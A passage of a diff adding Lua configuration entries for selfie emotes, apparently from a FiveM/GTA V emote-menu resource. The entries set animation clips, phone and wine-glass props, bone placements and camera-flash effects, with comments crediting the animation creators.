+ PtfxPlacement = {
+ -0.015,
+ 0.0,
+ 0.041,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('camera'),
+ PtfxWait = 200
+ }
+ },
+ ["selfiesit5"] = { -- Emote by Chocoholic Animations
+ "chocoholic@single83",
+ "single83_clip",
+ "Selfie Sitting 5",
+ AnimationOptions = {
+ Prop = 'prop_phone_taymckenzienz',
+ PropTextureVariations = {
+ {Name = "Blue", Value = 0},
+ {Name = "Green", Value = 1},
+ {Name = "Dark Red", Value = 2},
+ {Name = "Orange", Value = 3},
+ {Name = "Grey", Value = 4},
+ {Name = "Purple", Value = 5},
+ {Name = "Pink", Value = 6},
+ {Name = "Black", Value = 7}
+ },
+ PropBone = 64016,
+ PropPlacement = {
+ 0.1080,
+ -0.0160,
+ 0.0300,
+ -171.4163,
+ -117.2863,
+ 17.0148
+ },
+ EmoteLoop = true,
+ EmoteMoving = false,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits",
+ PtfxAsset = "scr_tn_meet",
+ PtfxName = "scr_tn_meet_phone_camera_flash",
+ PtfxPlacement = {
+ -0.015,
+ 0.0,
+ 0.041,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('camera'),
+ PtfxWait = 200
+ }
+ },
+ ["selfiefu"] = { -- Struggleville
+ "anim@fuck_you_selfie",
+ "fuck_you_selfie_clip",
+ "Selfie Middle Finger",
+ AnimationOptions = {
+ Prop = "prop_phone_taymckenzienz",
+ PropTextureVariations = {
+ {Name = "Blue", Value = 0},
+ {Name = "Green", Value = 1},
+ {Name = "Dark Red", Value = 2},
+ {Name = "Orange", Value = 3},
+ {Name = "Grey", Value = 4},
+ {Name = "Purple", Value = 5},
+ {Name = "Pink", Value = 6},
+ {Name = "Black", Value = 7}
+ },
+ PropBone = 28422,
+ PropPlacement = {
+ 0.1200,
+ 0.0220,
+ -0.0210,
+ 98.6822,
+ -4.9809,
+ 109.6216
+ },
+ EmoteLoop = true,
+ EmoteMoving = false,
+ PtfxAsset = "scr_tn_meet",
+ PtfxName = "scr_tn_meet_phone_camera_flash",
+ PtfxPlacement = {
+ -0.015,
+ 0.0,
+ 0.041,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('camera'),
+ PtfxWait = 200
+ }
+ },
+ ["selfiethot"] = { -- Struggleville
+ "anim@sitting_thot",
+ "sitting_thot_clip",
+ "Selfie Thot Instagram",
+ AnimationOptions = {
+ Prop = "prop_phone_taymckenzienz",
+ PropTextureVariations = {
+ {Name = "Blue", Value = 0},
+ {Name = "Green", Value = 1},
+ {Name = "Dark Red", Value = 2},
+ {Name = "Orange", Value = 3},
+ {Name = "Grey", Value = 4},
+ {Name = "Purple", Value = 5},
+ {Name = "Pink", Value = 6},
+ {Name = "Black", Value = 7}
+ },
+ PropBone = 28422,
+ PropPlacement = {
+ 0.1030,
+ 0.0440,
+ -0.0270,
+ -160.2802,
+ -99.4080,
+ -3.4048
+ },
+ EmoteLoop = true,
+ EmoteMoving = false,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits",
+ PtfxAsset = "scr_tn_meet",
+ PtfxName = "scr_tn_meet_phone_camera_flash",
+ PtfxPlacement = {
+ -0.015,
+ 0.0,
+ 0.041,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('camera'),
+ PtfxWait = 200
+ }
+ },
+ ["selfiefloor"] = { -- Custom Emote By Struggleville
+ "anim@selfie_floor_cute",
+ "floor_cute_clip",
+ "Selfie Floor Instagram",
+ AnimationOptions = {
+ Prop = "prop_phone_taymckenzienz",
+ PropTextureVariations = {
+ {Name = "Blue", Value = 0},
+ {Name = "Green", Value = 1},
+ {Name = "Dark Red", Value = 2},
+ {Name = "Orange", Value = 3},
+ {Name = "Grey", Value = 4},
+ {Name = "Purple", Value = 5},
+ {Name = "Pink", Value = 6},
+ {Name = "Black", Value = 7}
+ },
+ PropBone = 60309,
+ PropPlacement = {
+ 0.0930,
+ 0.0230,
+ 0.0260,
+ -158.8271,
+ -82.9040,
+ -18.7472
+ },
+ EmoteLoop = true,
+ EmoteMoving = false,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits",
+ PtfxAsset = "scr_tn_meet",
+ PtfxName = "scr_tn_meet_phone_camera_flash",
+ PtfxPlacement = {
+ -0.015,
+ 0.0,
+ 0.041,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('camera'),
+ PtfxWait = 200
+ }
+ },
+ ["selfiefloor2"] = { -- Custom Emote By Struggleville
+ "anim@female_selfie_04",
+ "f_selfie_04_clip",
+ "Selfie Floor 2",
+ AnimationOptions = {
+ Prop = "prop_phone_taymckenzienz",
+ PropTextureVariations = {
+ {Name = "Blue", Value = 0},
+ {Name = "Green", Value = 1},
+ {Name = "Dark Red", Value = 2},
+ {Name = "Orange", Value = 3},
+ {Name = "Grey", Value = 4},
+ {Name = "Purple", Value = 5},
+ {Name = "Pink", Value = 6},
+ {Name = "Black", Value = 7}
+ },
+ PropBone = 4185,
+ PropPlacement = {
+ 0.0170,
+ -0.0100,
+ 0.0200,
+ -27.3580,
+ 54.9374,
+ -6.1611
+ },
+ EmoteLoop = true,
+ EmoteMoving = false,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits",
+ PtfxAsset = "scr_tn_meet",
+ PtfxName = "scr_tn_meet_phone_camera_flash",
+ PtfxPlacement = {
+ -0.015,
+ 0.0,
+ 0.041,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('camera'),
+ PtfxWait = 200
+ }
+ },
+ ["selfiefloor3"] = { -- Custom Emote By Chocoholic Animations
+ "chocoholic@single90",
+ "single90_clip",
+ "Selfie & Wine",
+ AnimationOptions = {
+ Prop = 'p_wine_glass_s',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0800,
+ 0.0170,
+ 0.0810,
+ -174.2748,
+ -11.5083,
+ 29.4987
+ },
+ SecondProp = 'prop_phone_taymckenzienz',
+ PropTextureVariations = {
+ { Name = "Blue", Value = 0 },
+ { Name = "Green", Value = 1 },
+ { Name = "Dark Red", Value = 2 },
+ { Name = "Orange", Value = 3 },
+ { Name = "Grey", Value = 4 },
+ { Name = "Purple", Value = 5 },
+ { Name = "Pink", Value = 6 },
+ { Name = "Black", Value = 7 },
+ },
+ SecondPropBone = 4186, -- Left Finger 22
+ SecondPropPlacement = {
+ -0.0100,
+ 0.0000,
+ 0.0200,
+ -80.0000,
+ 0.0000,
+ -20.0000
+ },
+ PtfxAsset = "scr_tn_meet",
+ PtfxName = "scr_tn_meet_phone_camera_flash",
+ PtfxPlacement = {
+ -0.015,
+ 0.0,
+ 0.041,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('camera'),
+ PtfxWait = 200,
+ EmoteLoop = true,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["selfiesexy"] = { -- Custom Emote By Little Spoon, designed for a custom iFruit phone model, however I am sticking with default game props for now
+ "littlespoon@selfie001",
+ "selfie001",
+ "Selfie Sexy",
+ AnimationOptions = {
+ Prop = "prop_phone_taymckenzienz",
+ PropTextureVariations = {
+ {Name = "Blue", Value = 0},
+ {Name = "Green", Value = 1},
+ {Name = "Dark Red", Value = 2},
+ {Name = "Orange", Value = 3},
+ {Name = "Grey", Value = 4},
+ {Name = "Purple", Value = 5},
+ {Name = "Pink", Value = 6},
+ {Name = "Black", Value = 7}
+ },
+ PropBone = 58870, -- Right Finger 40 Bone
+ PropPlacement = {
+ 0.0150,
+ 0.0230,
+ 0.0700,
+ 0.0,
+ 0.0,
+ 170.0000
+ },
+ EmoteLoop = true,
+ EmoteMoving = false,
+ PtfxAsset = "scr_tn_meet",
+ PtfxName = "scr_tn_meet_phone_camera_flash",
+ PtfxPlacement = {
+ -0.015,
+ 0.0,
+ 0.041,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('camera'),
+ PtfxWait = 200
+ }
+ },
+ ["selfiesexy2"] = { -- Custom Emote By Little Spoon, designed for a custom iFruit phone model, however I am sticking with default game props for now
+ "littlespoon@selfie002",
+ "selfie002",
+ "Selfie Sexy 2",
+ AnimationOptions = {
+ Prop = "prop_phone_taymckenzienz",
+ PropTextureVariations = {
+ {Name = "Blue", Value = 0},
+ {Name = "Green", Value = 1},
+ {Name = "Dark Red", Value = 2},
+ {Name = "Orange", Value = 3},
+ {Name = "Grey", Value = 4},
+ {Name = "Purple", Value = 5},
+ {Name = "Pink", Value = 6},
+ {Name = "Black", Value = 7}
+ },
+ PropBone = 64064, -- Right Finger 31 Bone
+ PropPlacement = {
+ 0.0290,
+ 0.0140,
+ 0.0490,
+ 174.9616,
+ -149.6187,
+ 8.6491
+ },
+ EmoteLoop = true,
+ EmoteMoving = false,
+ PtfxAsset = "scr_tn_meet",
+ PtfxName = "scr_tn_meet_phone_camera_flash",
+ PtfxPlacement = {
+ -0.015,
+ 0.0,
+ 0.041,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('camera'),
+ PtfxWait = 200
+ }
+ },
+ ["selfiesexy3"] = { -- Custom Emote By Little Spoon, designed for a custom iFruit phone model, however I am sticking with default game props for now
+ "littlespoon@selfie003",
+ "selfie003",
+ "Selfie Sexy 3 - Squat",
+ AnimationOptions = {
+ Prop = "prop_phone_taymckenzienz",
+ PropTextureVariations = {
+ {Name = "Blue", Value = 0},
+ {Name = "Green", Value = 1},
+ {Name = "Dark Red", Value = 2},
+ {Name = "Orange", Value = 3},
+ {Name = "Grey", Value = 4},
+ {Name = "Purple", Value = 5},
+ {Name = "Pink", Value = 6},
+ {Name = "Black", Value = 7}
+ },
+ PropBone = 64064, -- Right Finger 31 Bone
+ PropPlacement = {
+ 0.0290,
+ 0.0140,
+ 0.0490,
+ 174.9616,
+ -149.6187,
+ 8.6491
+ },
+ EmoteLoop = true,
+ EmoteMoving = false,
+ PtfxAsset = "scr_tn_meet",
+ PtfxName = "scr_tn_meet_phone_camera_flash",
+ PtfxPlacement = {
+ -0.015,
+ 0.0,
+ 0.041,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('camera'),
+ PtfxWait = 200
+ }
+ },
+ ["selfiesexy4"] = { -- Custom Emote By Little Spoon, designed for a custom iFruit phone model, however I am sticking with default game props for now
+ "littlespoon@selfie004",
+ "selfie004",
+ "Selfie Sexy 4",
+ AnimationOptions = {
+ Prop = "prop_phone_taymckenzienz",
+ PropTextureVariations = {
+ {Name = "Blue", Value = 0},
+ {Name = "Green", Value = 1},
+ {Name = "Dark Red", Value = 2},
+ {Name = "Orange", Value = 3},
+ {Name = "Grey", Value = 4},
+ {Name = "Purple", Value = 5},
+ {Name = "Pink", Value = 6},
+ {Name = "Black", Value = 7}
+ },
+ PropBone = 64064, -- Right Finger 31 Bone
+ PropPlacement = {
+ 0.0290,
+ 0.0140,
+ 0.0490,
+ 174.9616,
+ -149.6187,
+ 8.6491
+ },
+ EmoteLoop = true,
+ EmoteMoving = false,
+ PtfxAsset = "scr_tn_meet",
+ PtfxName = "scr_tn_meet_phone_camera_flash",
+ PtfxPlacement = {
+ -0.015,
+ 0.0,
+ 0.041,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('camera'),
+ PtfxWait = 200
+ }
+ },
+ ["selfiesexy5"] = { -- Custom Emote By Little Spoon, designed for a custom iFruit phone model, however I am sticking with default game props for now
+ "littlespoon@selfie005",
+ "selfie005",
+ "Selfie Sexy 5",
+ AnimationOptions = {
+ Prop = "prop_phone_taymckenzienz",
+ PropTextureVariations = {
+ {Name = "Blue", Value = 0},
+ {Name = "Green", Value = 1},
+ {Name = "Dark Red", Value = 2},
+ {Name = "Orange", Value = 3},
+ {Name = "Grey", Value = 4},
+ {Name = "Purple", Value = 5},
+ {Name = "Pink", Value = 6},
+ {Name = "Black", Value = 7}
+ },
+ PropBone = 64064, -- Right Finger 31 Bone
+ PropPlacement = {
+ 0.0290,
+ 0.0140,
+ 0.0490,
+ 174.9616,
+ -149.6187,
+ 8.6491
+ },
+ EmoteLoop = true,
+ EmoteMoving = false,
+ PtfxAsset = "scr_tn_meet",
+ PtfxName = "scr_tn_meet_phone_camera_flash",
+ PtfxPlacement = {
+ -0.015,
+ 0.0,
+ 0.041,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('camera'),
+ PtfxWait = 200
+ }
+ },
+ ["selfiecute"] = { -- Custom Emote By Puppy, designed for a custom iFruit phone model, however I am sticking with default game props for now
+ "pupppy@freeselfie01",
+ "freeselfie01",
+ "Selfie Cute",
+ AnimationOptions = {
+ Prop = "prop_phone_taymckenzienz",
+ PropTextureVariations = {
+ {Name = "Blue", Value = 0},
+ {Name = "Green", Value = 1},
+ {Name = "Dark Red", Value = 2},
+ {Name = "Orange", Value = 3},
+ {Name = "Grey", Value = 4},
+ {Name = "Purple", Value = 5},
+ {Name = "Pink", Value = 6},
+ {Name = "Black", Value = 7}
+ },
+ PropBone = 26613, -- Left Finger 30 Bone
+ PropPlacement = {
+ 0.0380,
+ -0.0310,
+ 0.0590,
+ 0.0000,
+ 0.0000,
+ 10.0000
+ },
+ EmoteLoop = true,
+ EmoteMoving = false,
+ PtfxAsset = "scr_tn_meet",
+ PtfxName = "scr_tn_meet_phone_camera_flash",
+ PtfxPlacement = {
+ -0.015,
+ 0.0,
+ 0.041,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('camera'),
+ PtfxWait = 200
+ }
+ },
+ ["selfiecute2"] = { -- Custom Emote By Puppy, designed for a custom iFruit phone model, however I am sticking with default game props for now
+ "pupppy@freeselfie02",
+ "freeselfie02",
+ "Selfie Cute 2",
+ AnimationOptions = {
+ Prop = "prop_phone_taymckenzienz",
+ PropTextureVariations = {
+ {Name = "Blue", Value = 0},
+ {Name = "Green", Value = 1},
+ {Name = "Dark Red", Value = 2},
+ {Name = "Orange", Value = 3},
+ {Name = "Grey", Value = 4},
+ {Name = "Purple", Value = 5},
+ {Name = "Pink", Value = 6},
+ {Name = "Black", Value = 7}
+ },
+ PropBone = 60309, -- Left Wrist, worked better.
+ PropPlacement = {
+ 0.0960,
+ 0.0160,
+ 0.0420,
+ -155.3515,
+ -84.4828,
+ 4.7551
+ },
+ EmoteLoop = true,
+ EmoteMoving = false,
+ PtfxAsset = "scr_tn_meet",
+ PtfxName = "scr_tn_meet_phone_camera_flash",
+ PtfxPlacement = {
+ -0.015,
+ 0.0,
+ 0.041,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('camera'),
+ PtfxWait = 200
+ }
+ },
+ ["selfiecute3"] = { -- Custom Emote By Puppy, designed for a custom iFruit phone model, however I am sticking with default game props for now
+ "pupppy@freeselfie03",
+ "freeselfie03",
+ "Selfie Cute 3",
+ AnimationOptions = {
+ Prop = "prop_phone_taymckenzienz",
+ PropTextureVariations = {
+ {Name = "Blue", Value = 0},
+ {Name = "Green", Value = 1},
+ {Name = "Dark Red", Value = 2},
+ {Name = "Orange", Value = 3},
+ {Name = "Grey", Value = 4},
+ {Name = "Purple", Value = 5},
+ {Name = "Pink", Value = 6},
+ {Name = "Black", Value = 7}
+ },
+ PropBone = 26614, -- Left Finger 40, worked better.
+ PropPlacement = {
+ 0.0310,
+ -0.0430,
+ 0.0720,
+ 0.0000,
+ 3.9999,
+ 0.0000
+ },
+ EmoteLoop = true,
+ EmoteMoving = false,
+ PtfxAsset = "scr_tn_meet",
+ PtfxName = "scr_tn_meet_phone_camera_flash",
+ PtfxPlacement = {
+ -0.015,
+ 0.0,
+ 0.041,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('camera'),
+ PtfxWait = 200
+ }
+ },
+ ["selfiecute4"] = { -- Custom Emote By Struggleville, designed for a custom iFruit phone model, however I am sticking with default game props for now
+ "anim@egirl_1foot_selfie",
+ "1foot_selfie_clip",
+ "Selfie Cute 4",
+ AnimationOptions = {
+ Prop = "prop_phone_taymckenzienz",
+ PropTextureVariations = {
+ {Name = "Blue", Value = 0},
+ {Name = "Green", Value = 1},
+ {Name = "Dark Red", Value = 2},
+ {Name = "Orange", Value = 3},
+ {Name = "Grey", Value = 4},
+ {Name = "Purple", Value = 5},
+ {Name = "Pink", Value = 6},
+ {Name = "Black", Value = 7}
+ },
+ PropBone = 4185, -- Left Finger 21
+ PropPlacement = {
+ 0.0290,
+ -0.0230,
+ 0.0190,
+ -14.7860,
+ 67.8030,
+ 6.1827
+ },
+ EmoteLoop = true,
+ EmoteMoving = false,
+ PtfxAsset = "scr_tn_meet",
+ PtfxName = "scr_tn_meet_phone_camera_flash",
+ PtfxPlacement = {
+ -0.015,
+ 0.0,
+ 0.041,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('camera'),
+ PtfxWait = 200
+ }
+ },
+ ["selfiecute5"] = { -- Custom Emote By Wolf's Square
+ "eagle@girlphonepose21",
+ "girl",
+ "Selfie Cute 5",
+ AnimationOptions = {
+ Prop = "prop_phone_taymckenzienz",
+ PropTextureVariations = {
+ {Name = "Blue", Value = 0},
+ {Name = "Green", Value = 1},
+ {Name = "